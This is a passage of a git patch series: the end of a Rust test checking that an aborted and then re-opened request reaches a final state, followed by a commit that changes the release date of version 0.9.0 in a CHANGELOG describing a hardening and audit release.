+ assert_eq!(reopen.len(), 2, "{r}"); + assert_eq!(reopen[0], "/r5c/slow=aborted", "{r}"); + let after = reopen[1].as_str().unwrap_or_default(); + assert!( + after.starts_with("/r5c/after=") + && !after.ends_with("=pending") + && !after.ends_with("=aborted"), + "the re-opened request must reach a final state: {r}" ); assert_eq!(r["blocked_loadend"], true, "{r}"); assert_eq!(r["blocked_events"], serde_json::json!(["error"]), "{r}"); From 3ccd94bfe796ae888afb347524c175247b8b2570 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 22:41:57 +1000 Subject: [PATCH 167/167] =?UTF-8?q?release:=200.9.0=20=E2=80=94=20CHANGELO?= =?UTF-8?q?G=20date?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2fa7c760..0f347814 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -## [0.9.0] - 2026-09-27 +## [0.9.0] - 2026-09-30 A correctness-and-hardening release built from four audit rounds: a full-surface review (three lenses + a live sweep of 4DA), a five-lens pre-audit red team (auth/network boundary, new-code